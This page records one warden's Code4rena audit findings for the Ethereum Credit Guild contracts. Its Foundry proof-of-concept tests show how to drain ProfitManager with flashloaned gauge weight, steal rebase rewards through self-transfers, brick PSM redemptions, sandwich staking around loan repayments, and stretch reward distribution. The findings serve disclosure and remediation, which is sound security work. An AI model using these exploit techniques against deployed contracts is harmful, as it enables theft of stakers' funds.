Platform: Code4rena
Start Date: 11/12/2023
Pot Size: $90,500 USDC
Total HM: 29
Participants: 127
Period: 17 days
Judge: TrungOre
Total Solo HM: 4
Id: 310
League: ETH
Rank: 30/127
Findings: 5
Award: $451.47
🌟 Selected for report: 2
🚀 Solo Findings: 0
🌟 Selected for report: Arz
Also found by: 0xStalin, 0xpiken, AlexCzm, Chinmay, HighDuty, Infect3d, JCN, Neon2835, Tendency, TheSchnilch, almurhasan, asui, c47ch3m4ll, critical-or-high, deliriusz, ether_sky, evmboi32, kaden, klau5, santipu_, sl1, zhaojohnson
46.8502 USDC - $46.85
https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/governance/ProfitManager.sol#L416-L418 https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/governance/ProfitManager.sol#L424-L426 https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/tokens/ERC20Gauges.sol#L219-L226
Anyone can steal all the balance of credit tokens from the profitManager
. They can steal all the stake
and all the unclaimed rewards atomically with 0 risk
if the guild tokens become transferrable
. This causes a total loss of funds for all stakers.
There is an option for the guild tokens to become transferrable if the governance decides so. Since it is an option I think it is most likely to happen in the future.
function enableTransfer() external onlyCoreRole(CoreRoles.GOVERNOR) { transferable = true; emit TransfersEnabled(block.number, block.timestamp); }
Since guild tokens are now transferrable it is possible to get a large amount of tokens for a single tx. (eg. flashloan, flash swap etc.).
SurplusGuildMinter
. The funds are donated to the termSurplusBuffer
and transferred to the associated profitManager
.function stake(address term, uint256 amount) external whenNotPaused { ... // pull CREDIT from user & transfer it to surplus buffer CreditToken(credit).transferFrom(msg.sender, address(this), amount); CreditToken(credit).approve(address(profitManager), amount); ProfitManager(profitManager).donateToTermSurplusBuffer(term, amount); ... }
function donateToTermSurplusBuffer(address term, uint256 amount) external { CreditToken(credit).transferFrom(msg.sender, address(this), amount); uint256 newSurplusBuffer = termSurplusBuffer[term] + amount; termSurplusBuffer[term] = newSurplusBuffer; emit TermSurplusBufferUpdate(block.timestamp, term, newSurplusBuffer); }
profitManager
. This would increase the balance of profitManager
even further.profitManager
holds X amount
of credit tokens and decide to steal it all without bearing any risk.weight
in a gauge using guild.incrementGauge(gauge, guildAmount)
instead of staking through the SGM
. Why?SGM
the weight will increment for SGM
and not for alice as the SGM
is the caller of the incrementGauge
function.gauge
she can increase the weight in the given gauge and keep the userGaugeProfitIndex
for alice at the given term at 0
. OOOOPSincrementGauge
will make a call to ProfitManager(profitManager).claimGaugeRewards(user, gauge)
which is supposed to update the userGaugeProfitIndex
.function _incrementGaugeWeight( address user, address gauge, uint256 weight ) internal override { uint256 _lastGaugeLoss = lastGaugeLoss[gauge]; uint256 _lastGaugeLossApplied = lastGaugeLossApplied[gauge][user]; if (getUserGaugeWeight[user][gauge] == 0) { lastGaugeLossApplied[gauge][user] = block.timestamp; } else { require( _lastGaugeLossApplied >= _lastGaugeLoss, "GuildToken: pending loss" ); } ProfitManager(profitManager).claimGaugeRewards(user, gauge); super._incrementGaugeWeight(user, gauge, weight); }
0
, which it is for alice so this step is skipped and the userGaugeProfitIndex
remains at 0
. If she were to stake through the SGM
this would be updated correctly as the weight the PSM
has in the current gauge is not 0 if there are any rewards.function claimGaugeRewards( address user, address gauge ) public returns (uint256 creditEarned) { uint256 _userGaugeWeight = uint256( GuildToken(guild).getUserGaugeWeight(user, gauge) ); if (_userGaugeWeight == 0) { return 0; } ... }
creditEarned = userGaugeWeight * deltaIndex deltaIndex = gaugeProfitIndex - userGaugeProfitIndex => userGaugeWeight = creditEarned / deltaIndex
userGaugeWeight
weight in the gauge to steal the creditEarned
amount of credit tokens. Her userGaugeProfitIndex
is set to 0
but will be set to 1e18
in the code.if (_userGaugeProfitIndex == 0) { _userGaugeProfitIndex = 1e18; }
guild.incrementGauge(term, userGaugeWeight);
profitManager.claimGaugeRewards(alice, term);
drain all of the balance
from profitManager
. (-1 wei due to potential rounding errors). See the coded POC belowAdd this test to SurplusGuildMinter.t.sol
file and add import import "@forge-std/console.sol";
Run with forge test --match-path ./test/unit/loan/SurplusGuildMinter.t.sol -vvv
function testStealFromProfitManager() public { address alice = address(0x616c696365); address bob = address(0xB0B); // Governance enables the transfer of guild tokens. This will most likely result in a creation // of liquidity pools on dexes such as uniswap etc. vm.prank(governor); guild.enableTransfer(); // Governor sets the profit sharing config vm.prank(governor); profitManager.setProfitSharingConfig( 0.5e18, // surplusBufferSplit - remains on profitManager 0, // creditSplit 0.5e18, // guildSplit - remains on profitManager 0, // otherSplit address(0) // otherRecipient ); // Bob stakes 100 CREDIT tokens credit.mint(address(bob), 100e18); vm.startPrank(bob); credit.approve(address(sgm), 100e18); sgm.stake(term, 100e18); vm.stopPrank(); // This would happen on repaying a loan with interest... just shorthand to notify the profitManager for profits // so we don't to complicate the example with opening and closing loans ... credit.mint(address(profitManager), 35e18); profitManager.notifyPnL(term, 35e18); uint256 alice_balance_before = credit.balanceOf(alice); uint256 profit_manager_balance_before = credit.balanceOf(address(profitManager)); // ------------- MALICIOUS ATOMIC TRANSACTION ------------- // If a user can obtain a lot of guild tokens he could perform the following attack // atomically without any risk // Flashloan guild tokens as they are now transferrable. User can borrow funds from the uniswap pool in a flash swap // As guild is the same for the whole protocol obtaining guild shouldn't be too hard uint256 flashloanAmount = 100000e18; guild.mint(address(alice), flashloanAmount); vm.startPrank(alice); uint256 gaugeProfitIndex = profitManager.gaugeProfitIndex(address(term)); // Since userGaugeProfitIndex is 0 it will be set to 1e18 inside ProfitManager::claimGaugeRewards // creditEarned = userGaugeWeight * deltaIndex // deltaIndex = gaugeProfitIndex - userGaugeProfitIndex // => userGaugeWeight = creditEarned / deltaIndex uint256 deltaIndex = gaugeProfitIndex - 1e18; uint256 guild_to_provide = (profit_manager_balance_before * 1e18) / deltaIndex; // Bypass the SGM and incrementGauge directly guild.incrementGauge(address(term), guild_to_provide); // userGaugeProfitIndex still at 0 as it does not update for the first time and is not called through the SGM uint256 userGaugeProfitIndex = profitManager.userGaugeProfitIndex(address(alice), address(term)); assertEq(userGaugeProfitIndex, 0); // User now has weight in the gauge and can claim rewards but his userGaugeProfitIndex is still 0 profitManager.claimGaugeRewards(address(alice), address(term)); guild.decrementGauge(address(term), guild_to_provide); // Repay the flashloan - if there is any fee to repay it can be obtained from the profits made guild.burn(flashloanAmount); vm.stopPrank(); // ------------- END MALICIOUS ATOMIC TRANSACTION ------------- uint256 alice_balance_after = credit.balanceOf(alice); uint256 profit_manager_balance_after = credit.balanceOf(address(profitManager)); console.log("Credit balance of profitManager before attack:", profit_manager_balance_before); console.log("Credit balance of profitManager after attack :", profit_manager_balance_after); console.log(); console.log("Alice credit balance before attack :", alice_balance_before); console.log("Alice credit balance after attack :", alice_balance_after); console.log("--------------------------------------------------------------------"); console.log("Alice profit :", alice_balance_after - alice_balance_before); }
[PASS] testStealFromProfitManager() (gas: 716352) Logs: Credit balance of profitManager before attack: 135000000000000000000 Credit balance of profitManager after attack : 1 Alice credit balance before attack : 0 Alice credit balance after attack : 134999999999999999999 -------------------------------------------------------------------- Alice profit : 134999999999999999999
Manual review
Claim the rewards and update the indexes even if the userGaugeWeight
in a giver term is 0
.
function claimGaugeRewards( address user, address gauge ) public returns (uint256 creditEarned) { uint256 _userGaugeWeight = uint256( GuildToken(guild).getUserGaugeWeight(user, gauge) ); - if (_userGaugeWeight == 0) { - return 0; - } uint256 _gaugeProfitIndex = gaugeProfitIndex[gauge]; uint256 _userGaugeProfitIndex = userGaugeProfitIndex[user][gauge]; if (_gaugeProfitIndex == 0) { _gaugeProfitIndex = 1e18; } if (_userGaugeProfitIndex == 0) { _userGaugeProfitIndex = 1e18; } uint256 deltaIndex = _gaugeProfitIndex - _userGaugeProfitIndex; if (deltaIndex != 0) { creditEarned = (_userGaugeWeight * deltaIndex) / 1e18; userGaugeProfitIndex[user][gauge] = _gaugeProfitIndex; } if (creditEarned != 0) { emit ClaimRewards(block.timestamp, user, gauge, creditEarned); CreditToken(credit).transfer(user, creditEarned); } }
Invalid Validation
#0 - c4-pre-sort
2024-01-01T12:44:46Z
0xSorryNotSorry marked the issue as sufficient quality report
#1 - c4-pre-sort
2024-01-01T12:45:14Z
0xSorryNotSorry marked the issue as duplicate of #1211
#2 - c4-judge
2024-01-29T03:57:01Z
Trumpero marked the issue as satisfactory
🌟 Selected for report: evmboi32
Also found by: 0xAlix2, 0xadrii, 3docSec, Jorgect, KingNFT, Soul22, SpicyMeatball, Tendency, c47ch3m4ll, critical-or-high, kaden, stackachu
309.0397 USDC - $309.04
https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/tokens/ERC20RebaseDistributor.sol#L553-L642 https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/tokens/ERC20RebaseDistributor.sol#L607
Anyone can steal all distributed rewards due to a caching error when transferring credit tokens to themselves while in rebase.
Transferring credit while in rebase works fine when transferring to other users. But when a user tries to transfer to himself he can steal
all unminted distributed rewards until that point.
transfer(alice, x)
RebasingState memory rebasingStateFrom = rebasingState[msg.sender]; RebasingState memory rebasingStateTo = rebasingState[to];
msg.sender
and to
are stored in memory. Keep in mind that msg.sender == to == alice
if (rebasingStateFrom.isRebasing == 1) { uint256 shares = uint256(rebasingStateFrom.nShares); uint256 rebasedBalance = _shares2balance( shares, _rebasingSharePrice, 0, fromBalanceBefore ); uint256 mintAmount = rebasedBalance - fromBalanceBefore; if (mintAmount != 0) { ERC20._mint(msg.sender, mintAmount); fromBalanceBefore += mintAmount; decreaseUnmintedRebaseRewards(mintAmount); emit RebaseReward(msg.sender, block.timestamp, mintAmount); } }
rebasingState
for msg.sender
. This means that the cached rebasingStateFrom == rebasingStateTo
still holds the old value of shares as the nShares
.if (rebasingStateFrom.isRebasing == 1) { uint256 fromBalanceAfter = fromBalanceBefore - amount; uint256 fromSharesAfter = _balance2shares( fromBalanceAfter, _rebasingSharePrice ); uint256 sharesSpent = rebasingStateFrom.nShares - fromSharesAfter; sharesDelta -= int256(sharesSpent); rebasingState[msg.sender] = RebasingState({ isRebasing: 1, nShares: uint248(fromSharesAfter) }); }
toBalanceAfter
in the final if to be calculated incorrectly because it calculates using the old shares as we use the cached value of shares from the beginning of the function. This will keep the balance the same + the amount
added on top.uint256 toBalanceAfter = _shares2balance( rebasingStateTo.nShares, _rebasingSharePrice, amount, rawToBalanceAfter );
uint256 mintAmount = toBalanceAfter - rawToBalanceAfter; if (mintAmount != 0) { ERC20._mint(to, mintAmount); decreaseUnmintedRebaseRewards(mintAmount); emit RebaseReward(to, block.timestamp, mintAmount); }
exitRebase
and keep the tokens for herself100 credit
tokens worth X
sharesunmintedRebaseRewards() >= 100e18
)transfer(alice, 100e18)
X
shares since she transferred the whole balance the current state is as follows// storage rebasingState[alice] = RebasingState({ isRebasing: 1, nShares: 0 });
rebasingStateTo
variable still holds the old number of shares as it was not updated (keep in mind that msg.sender == to == alice
).toBalanceAfter
is calculated as 200
tokens now. Since the rebasingStateTo.nShares
is X
and on top of that we add the amount and results into 200
tokens. The share price remains the same. The rawToBalanceAfter
didn't change during the transfer and still remains at a 100
tokens.uint256 rawToBalanceAfter = ERC20.balanceOf(to); uint256 toBalanceAfter = _shares2balance( rebasingStateTo.nShares, _rebasingSharePrice, amount, rawToBalanceAfter );
mintAmount = 100e18
uint256 mintAmount = toBalanceAfter - rawToBalanceAfter; if (mintAmount != 0) { ERC20._mint(to, mintAmount); decreaseUnmintedRebaseRewards(mintAmount); emit RebaseReward(to, block.timestamp, mintAmount); }
unmintedRebaseRewards()
for any given self-transfer. So if unmintedRebaseRewards() == 10e18
she needs to call transfer(alice, 10e18)
so she can steal the unclaimed rewards.unmintedRebaseRewards
variable and essentially rob users of all rewards.atomically
so there is 0 risk
for Alice.Add this in the ERC20RebaseDistributor.t.sol
file and add import import "@forge-std/console.sol";
Run with forge test --match-path ./test/unit/tokens/ERC20RebaseDistributor.t.sol -vvv
function testSelfTransfer() public { token.mint(address(this), 100e18); // Mint some tokens to bob and alice token.mint(alice, 10e18); token.mint(bobby, 10e18); // Bob enters the rebase since he wants to earn some profit vm.prank(bobby); token.enterRebase(); // Tokens are distributed among all rebase users token.distribute(10e18); // Nobody claims the rebase rewards for 10 days - just for an example // Alice could frontrun every call that changes the unmintedRebaseRewards atomically // and claim all the rewards for herself vm.warp(block.timestamp + 10 days); // --------------------- ATOMIC TX --------------------- vm.startPrank(alice); token.enterRebase(); uint256 token_balance_alice_before = token.balanceOf(alice); // Here the max she could transfer and steal is the unmintedRebaseRewards() amount // but we are using 3e18 just for an example as 3e18 < unmintedRebaseRewards() // since there is no public getter for unmintedRebaseRewards token.transfer(alice, 3e18); token.exitRebase(); vm.stopPrank(); uint256 token_balance_alice = token.balanceOf(alice); // --------------------- END ATOMIC TX --------------------- console.log("Token balance alice before : ", token_balance_alice_before); console.log("Token balance alice after : ", token_balance_alice); console.log("--------------------------------------------------"); console.log("Alice profit credit : ", token_balance_alice - token_balance_alice_before); }
[PASS] testSelfTransfer() (gas: 230035) Logs: Token balance alice before : 10000000000000000000 Token balance alice after : 12999999999999999999 -------------------------------------------------- Alice profit credit : 2999999999999999999
Manual review
Prevent self-transfer as it makes no sense and also causes harm.
Token-Transfer
#0 - 0xSorryNotSorry
2024-01-01T13:54:04Z
The issue is well demonstrated, properly formatted, contains a coded POC. Marking as HQ.
#1 - c4-pre-sort
2024-01-01T13:54:08Z
0xSorryNotSorry marked the issue as high quality report
#2 - c4-pre-sort
2024-01-01T13:54:12Z
0xSorryNotSorry marked the issue as primary issue
#3 - eswak
2024-01-12T10:36:24Z
Thanks for the very high quality report, definitely one of the most critical issues that I've been made aware of on this contest.
#4 - c4-sponsor
2024-01-12T10:36:28Z
eswak (sponsor) confirmed
#5 - c4-judge
2024-01-29T06:15:32Z
Trumpero marked the issue as satisfactory
#6 - c4-judge
2024-01-31T13:05:27Z
Trumpero marked the issue as selected for report
🌟 Selected for report: serial-coder
Also found by: 0xStalin, 0xbepresent, Cosine, DanielArmstrong, EV_om, HighDuty, Soul22, SpicyMeatball, ether_sky, evmboi32, gesha17, kaden, lsaudit, nonseodion, smiling_heretic
42.2419 USDC - $42.24
https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/governance/LendingTermOffboarding.sol#L153-L170 https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/governance/LendingTermOffboarding.sol#L175-L199 https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/governance/LendingTermOnboarding.sol#L239-L261
PSM
redemptions for the market can get completely bricked
if the term is onboarded
and offboarded
twice without calling the cleanup
, until the governance resumes the redemptions on the PSM. This will make the credit tokens unredeemable until the governance calls the setRedemptionsPaused(false)
on the PSM
. Also, every offboarding of a term will now require additional attention from governance to unpause the redemptions every time the term is offboarded.
onboarded
as part of governance.offboarded
and re-onboarded
later.offboards
a term the nOffboardingsInProgress
is increased. The first offboard call in the market will also pause the redemptions for the whole market as seen in the function below.function offboard(address term) external whenNotPaused { require(canOffboard[term], "LendingTermOffboarding: quorum not met"); // update protocol config // this will revert if the term has already been offboarded // through another mean. GuildToken(guildToken).removeGauge(term); // pause psm redemptions if ( nOffboardingsInProgress++ == 0 && !SimplePSM(psm).redemptionsPaused() ) { SimplePSM(psm).setRedemptionsPaused(true); } emit Offboard(block.timestamp, term); }
0
the cleanup
can be calledfunction cleanup(address term) external whenNotPaused { require(canOffboard[term], "LendingTermOffboarding: quorum not met"); require( LendingTerm(term).issuance() == 0, "LendingTermOffboarding: not all loans closed" ); require( GuildToken(guildToken).isDeprecatedGauge(term), "LendingTermOffboarding: re-onboarded" ); // update protocol config core().revokeRole(CoreRoles.RATE_LIMITED_CREDIT_MINTER, term); core().revokeRole(CoreRoles.GAUGE_PNL_NOTIFIER, term); // unpause psm redemptions if ( --nOffboardingsInProgress == 0 && SimplePSM(psm).redemptionsPaused() ) { SimplePSM(psm).setRedemptionsPaused(false); } canOffboard[term] = false; emit Cleanup(block.timestamp, term); }
nOffboardingsInProgress
, set canOffboard[term] = false
and resume redemptions if nOffboardingsInProgress
is reduced to 0
.term A
offboard(term A)
nOffboardingsInProgress = 1
and canOffboard[term] = true
cleanup
is not called and the term is re-onboarded
again.canOffboard[term] = true
anyone can immediately call the offboard(term A)
followed by cleanup(term A)
and brick the whole PSM
until governance intervenes. Why? Let's take a looknOffboardingsInProgress = 2
.cleanup
is called the nOffboardingsInProgress
is reduced to 1
and canOffboard[term]
set to false
canOffboard[term] = false
the cleanup
cannot be called again and the nOffboardingsInProgress
cannot be reduced from 1 to 0
and can never unpause the redemptions on the PSM unless the governance
calls the setRedemptionsPaused(false)
on the PSM.DOS
for some time as governance actions are under timelock and the credit cannot be redeemed until the redemptions are resumed.cleanup
forgets to be called as it is not enforced to be. Everybody makes mistakes and in time i think it is bound to happen if the protocol is widely used.Add this test to LendingTermOffboarding.t.sol
file
Run with forge test --match-path ./test/unit/governance/LendingTermOffboarding.t.sol -vvv
function testReonboardWithoutCleanup() public { // Close a loan that was opened as a part of a setUp call vm.roll(block.number + 1); vm.warp(block.timestamp + 13); uint256 debt = term.getLoanDebt(aliceLoanId); vm.prank(address(rlcm)); credit.mint(address(alice), debt); vm.startPrank(alice); credit.approve(address(term), debt); term.repay(aliceLoanId); vm.stopPrank(); guild.mint(bob, _QUORUM); // ------------ OFFBOARD ------------ vm.startPrank(bob); guild.delegate(bob); uint256 snapshotBlock = block.number; offboarder.proposeOffboard(address(term)); vm.roll(block.number + 1); vm.warp(block.timestamp + 13); offboarder.supportOffboard(snapshotBlock, address(term)); offboarder.offboard(address(term)); vm.stopPrank(); uint256 nOffboardings = offboarder.nOffboardingsInProgress(); assertEq(nOffboardings, 1); assertEq(psm.redemptionsPaused(), true); // Forget to call cleanup // Didn't open any loans so we don't need to close // ------------ RE-ONBOARD ------------ guild.addGauge(1, address(term)); // Using the offboarder as it has governor privileges vm.startPrank(address(offboarder)); // Roles should be removed while calling cleanup but // re-granting roles doens't revert but return false core.grantRole(CoreRoles.RATE_LIMITED_CREDIT_MINTER, address(term)); core.grantRole(CoreRoles.GAUGE_PNL_NOTIFIER, address(term)); vm.stopPrank(); assertEq(psm.redemptionsPaused(), true); uint256 POLL_DURATION_BLOCKS = offboarder.POLL_DURATION_BLOCKS(); vm.roll(block.number + POLL_DURATION_BLOCKS + 1); // ------------ OFFBOARD ------------ guild.mint(bob, _QUORUM); vm.startPrank(bob); guild.delegate(bob); snapshotBlock = block.number; offboarder.proposeOffboard(address(term)); vm.roll(block.number + 1); vm.warp(block.timestamp + 13); offboarder.supportOffboard(snapshotBlock, address(term)); offboarder.offboard(address(term)); vm.stopPrank(); nOffboardings = offboarder.nOffboardingsInProgress(); assertEq(nOffboardings, 2); assertEq(psm.redemptionsPaused(), true); assertEq(offboarder.canOffboard(address(term)), true); offboarder.cleanup(address(term)); assertEq(offboarder.canOffboard(address(term)), false); nOffboardings = offboarder.nOffboardingsInProgress(); assertEq(nOffboardings, 1); assertEq(psm.redemptionsPaused(), true); // Using the offboarder as it has governor privileges vm.startPrank(address(offboarder)); psm.setRedemptionsPaused(false); // nOffboardings still stuck at 1 assertEq(nOffboardings, 1); assertEq(psm.redemptionsPaused(), false); }
Manual review
Ensure that the cleanup has to be called before the term re-onboarding
function proposeOnboard( address term ) external whenNotPaused returns (uint256 proposalId) { ... bool isGauge = GuildToken(guildToken).isGauge(term); require(!isGauge, "LendingTermOnboarding: active term"); + require(!core().hasRole(CoreRoles.RATE_LIMITED_CREDIT_MINTER, term), "Term not offboarded properly"); // Generate calldata for the proposal ( address[] memory targets, uint256[] memory values, bytes[] memory calldatas, string memory description ) = getOnboardProposeArgs(term); // propose return Governor.propose(targets, values, calldatas, description); }
Invalid Validation
#0 - c4-pre-sort
2024-01-03T21:10:12Z
0xSorryNotSorry marked the issue as sufficient quality report
#1 - c4-pre-sort
2024-01-03T21:10:25Z
0xSorryNotSorry marked the issue as duplicate of #1147
#2 - c4-judge
2024-01-25T18:49:36Z
Trumpero marked the issue as duplicate of #1141
#3 - c4-judge
2024-01-25T18:54:22Z
Trumpero marked the issue as satisfactory
🌟 Selected for report: SBSecurity
Also found by: 0x_6a70, 0xanmol, 0xbepresent, 0xfave, Arz, Byteblockers, CaeraDenoir, EV_om, EllipticPoint, Infect3d, JCN, Mike_Bello90, SECURITISE, Soul22, almurhasan, c47ch3m4ll, carrotsmuggler, cccz, critical-or-high, ether_sky, evmboi32, grearlake, kaden, rbserver, smiling_heretic, whitehat-boys, zhaojie
6.8173 USDC - $6.82
https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/loan/SurplusGuildMinter.sol#L142 https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/governance/ProfitManager.sol#L396-L400 https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/loan/SurplusGuildMinter.sol#L247-L269
A malicious actor could steal some part of the interest with a sandwich
attack when a borrower repays
a loan. The attacker carries no risk of slashing but enjoys free rewards. Using a flashbots
service to carry out the sandwich bundles he can guarantee profit with 0 risk
. The more funds the attacker possesses the more the rewards can be stolen.
There is no limitation for a user to not stake and unstake in the same block. Because it is possible to stake and unstake in the same block the malicious actor could sandwich
the repay
call from anyone as follows.
stake => repay => unstake
When a user stakes the getRewards
for that user is called and the ProfitManager(profitManager).claimRewards(address(this))
is invoked for the SGM
.
function stake(address term, uint256 amount) external whenNotPaused { // apply pending rewards (uint256 lastGaugeLoss, UserStake memory userStake, ) = getRewards( msg.sender, term ); ... }
This will update the userStake.profitIndex
to the latest profitIndex
function getRewards( address user, address term ) public returns ( uint256 lastGaugeLoss, // GuildToken.lastGaugeLoss(term) UserStake memory userStake, // stake state after execution of getRewards() bool slashed // true if the user has been slashed ) { ... // compute CREDIT rewards ProfitManager(profitManager).claimRewards(address(this)); // this will update profit indexes uint256 _profitIndex = ProfitManager(profitManager).userGaugeProfitIndex(address(this), term); uint256 _userProfitIndex = uint256(userStake.profitIndex); if (_profitIndex == 0) _profitIndex = 1e18; if (_userProfitIndex == 0) _userProfitIndex = 1e18; uint256 deltaIndex = _profitIndex - _userProfitIndex; if (deltaIndex != 0) { ... // save the updated profitIndex userStake.profitIndex = SafeCastLib.safeCastTo160(_profitIndex); updateState = true; } ... }
notifyPnL(gauge, amount)
with interest that is repaid as the amount variable. This updates the gaugeProfitIndex
to a greater profitIndex
.function notifyPnL( address gauge, int256 amount ) external onlyCoreRole(CoreRoles.GAUGE_PNL_NOTIFIER) { ... // handling loss if (amount < 0) { ... } // handling profit else if (amount > 0) { ProfitSharingConfig memory _profitSharingConfig = profitSharingConfig; ... uint256 amountForGuild = (uint256(amount) * uint256(_profitSharingConfig.guildSplit)) / 1e9; ... // distribute to the guild if (amountForGuild != 0) { uint256 _gaugeWeight = uint256( GuildToken(guild).getGaugeWeight(gauge) ); if (_gaugeWeight != 0) { uint256 _gaugeProfitIndex = gaugeProfitIndex[gauge]; if (_gaugeProfitIndex == 0) { _gaugeProfitIndex = 1e18; } gaugeProfitIndex[gauge] = // <- HERE _gaugeProfitIndex + (amountForGuild * 1e18) / _gaugeWeight; } } } emit GaugePnL(gauge, block.timestamp, amount); }
function unstake(address term, uint256 amount) external { // apply pending rewards (, UserStake memory userStake, bool slashed) = getRewards( msg.sender, term ); ... }
profitIndexes
. Since the global index was increased after the user staked it is now greater than the userProfitIndex
which results in the deltaIndex > 0
. User get rewards minted having only staked before the repayment.uint256 deltaIndex = _profitIndex - _userProfitIndex; if (deltaIndex != 0) { uint256 creditReward = (uint256(userStake.guild) * deltaIndex) / 1e18; uint256 guildReward = (creditReward * rewardRatio) / 1e18; if (slashed) { guildReward = 0; } // forward rewards to user if (guildReward != 0) { RateLimitedMinter(rlgm).mint(user, guildReward); emit GuildReward(block.timestamp, user, guildReward); } if (creditReward != 0) { CreditToken(credit).transfer(user, creditReward); } // save the updated profitIndex userStake.profitIndex = SafeCastLib.safeCastTo160(_profitIndex); updateState = true; }
Add this test to SurplusGuildMinter.t.sol
file and add import import "@forge-std/console.sol";
Run with forge test --match-path ./test/unit/loan/SurplusGuildMinter.t.sol -vvv
function testStealRewards() public { address bob = address(0xB0B); address alice = address(0x616c696365); vm.prank(governor); profitManager.setProfitSharingConfig( 0e18, // surplusBufferSplit - remains on profitManager 0, // creditSplit 1e18, // guildSplit - remains on profitManager 0, // otherSplit address(0) // otherRecipient ); // Bob represents a cumulative stake from multiple users // So 10000e18 is not his stake but a stake from all users currently staking credit.mint(address(bob), 10000e18); vm.startPrank(bob); credit.approve(address(sgm), 10000e18); sgm.stake(term, 10000e18); vm.stopPrank(); // Someone repays a loan and the interest is transferred to the profitManager credit.mint(address(profitManager), 2e18); profitManager.notifyPnL(term, int256(2e18)); // Users claim their rewards - an unnecessary step // sgm.getRewards(bob, address(term)); // This is the credit token balance of Alice // The more balance she has the more she can steal uint256 alice_credit_balance = 21e18; credit.mint(alice, alice_credit_balance); uint256 credit_balance_alice_before = credit.balanceOf(alice); // ---------------- MALICIOUS SANDWICH ATTACK ---------------- vm.startPrank(alice); credit.approve(address(sgm), alice_credit_balance); sgm.stake(term, alice_credit_balance); vm.stopPrank(); // repay call credit.mint(address(profitManager), 35e18); profitManager.notifyPnL(term, int256(35e18)); vm.prank(alice); sgm.unstake(term, alice_credit_balance); // ---------------- END MALICIOUS SANDWICH ATTACK ---------------- // Users claim their rewards - an unnecessary step // sgm.getRewards(bob, address(term)); uint256 credit_balance_alice = credit.balanceOf(alice); console.log("Alice credit balance before attack:", credit_balance_alice_before); console.log("Alice credit balance after attack :", credit_balance_alice); console.log("--------------------------------------------------------"); console.log("Alice profit :", credit_balance_alice - alice_credit_balance); }
[PASS] testStealRewards() (gas: 770641) Logs: Alice credit balance before attack: 21000000000000000000 Alice credit balance after attack : 21073163448138562572 -------------------------------------------------------- Alice profit : 73163448138562572
Manual review
Prevent users staking and unstaking in the same block to receive rewards even if there is profit from the repayment, as normal users wouldn't do that. Or add a minimum stake time.
function getRewards( address user, address term ) public returns ( uint256 lastGaugeLoss, // GuildToken.lastGaugeLoss(term) UserStake memory userStake, // stake state after execution of getRewards() bool slashed // true if the user has been slashed ) { ... // if the user is not staking, do nothing userStake = _stakes[user][term]; - if (userStake.stakeTime == 0) + if (userStake.stakeTime == 0 || userStake.stakeTime == block.timestamp) return (lastGaugeLoss, userStake, slashed); ... }
Timing
#0 - 0xSorryNotSorry
2023-12-29T19:27:56Z
The issue is well demonstrated, properly formatted, contains a coded POC. Marking as HQ.
#1 - c4-pre-sort
2023-12-29T19:28:00Z
0xSorryNotSorry marked the issue as high quality report
#2 - c4-pre-sort
2023-12-29T19:28:45Z
0xSorryNotSorry marked the issue as duplicate of #877
#3 - c4-pre-sort
2023-12-30T16:07:32Z
0xSorryNotSorry marked the issue as not a duplicate
#4 - c4-pre-sort
2023-12-30T16:07:39Z
0xSorryNotSorry marked the issue as duplicate of #994
#5 - c4-judge
2024-01-25T18:10:22Z
Trumpero changed the severity to 2 (Med Risk)
#6 - c4-judge
2024-01-25T18:15:40Z
Trumpero marked the issue as satisfactory
46.5157 USDC - $46.52
Anyone who holds a few wei of credit token can prolong the time for the rewards to get distributed for the rebasing users with minimal effort.
A malicious attacker only needs a few wei of tokens to execute the attack.
distribute(40e18)
call to distribute 40 credit tokens has been called as a part of the successfully repaid loan. This is normal behavior.distribute
call the endTimestamp
is calculated as followsuint256 endTimestamp = block.timestamp + DISTRIBUTION_PERIOD;
40 tokens
should be distributed over the next 30 days
.distribute
call is invoked the endTimestamp
is prolonged.distribute(1)
to distribute 1 wei
of a credit token once per day to prolong the distribution for around 3x
ish.Add this test to the ERC20RebaseDistributor.t.sol
file and add import import "@forge-std/console.sol";
Run with forge test --match-path ./test/unit/tokens/ERC20RebaseDistributor.t.sol -vvv
function testProlongDistribution() public { token.mint(alice, 10e18); token.mint(bobby, 20e18); vm.prank(alice); token.enterRebase(); vm.prank(bobby); token.enterRebase(); token.mint(address(this), 41e18); // Distribute 40 tokens uint256 amountToDistribute = 40e18; token.distribute(amountToDistribute); // Attackers calls distribute(1) each day to only distribute 1 wei of a token for(uint256 i = 0; i < 30; i++) { vm.warp(block.timestamp + 1 days); token.distribute(1); } uint256 distributedSupply = amountToDistribute - token.pendingDistributedSupply(); console.log("Distributed supply after 30 days:"); console.log("----------------------------------------------------"); console.log("Distributed supply : ", distributedSupply); console.log("Expected distributes supply: ", amountToDistribute); for(uint256 i = 0; i < 60; i++) { vm.warp(block.timestamp + 1 days); token.distribute(1); } console.log(); distributedSupply = amountToDistribute - token.pendingDistributedSupply(); console.log("Distributed supply after 90 days:"); console.log("----------------------------------------------------"); console.log("Distributed supply : ", distributedSupply); console.log("Expected distributes supply: ", amountToDistribute); }
[PASS] testProlongDistribution() (gas: 1233397) Logs: Distributed supply after 30 days: ---------------------------------------------------- Distributed supply : 25533539461535580376 Expected distributes supply: 40000000000000000000 Distributed supply after 90 days: ---------------------------------------------------- Distributed supply : 38107800700086607344 Expected distributes supply: 40000000000000000000
Manual review
Either add a minimum amount required(chosen by governance) to invoke a distribute call if the call is not done by the ProfitManager
or change how rewards are interpolated.
Math
#0 - c4-pre-sort
2024-01-03T16:52:17Z
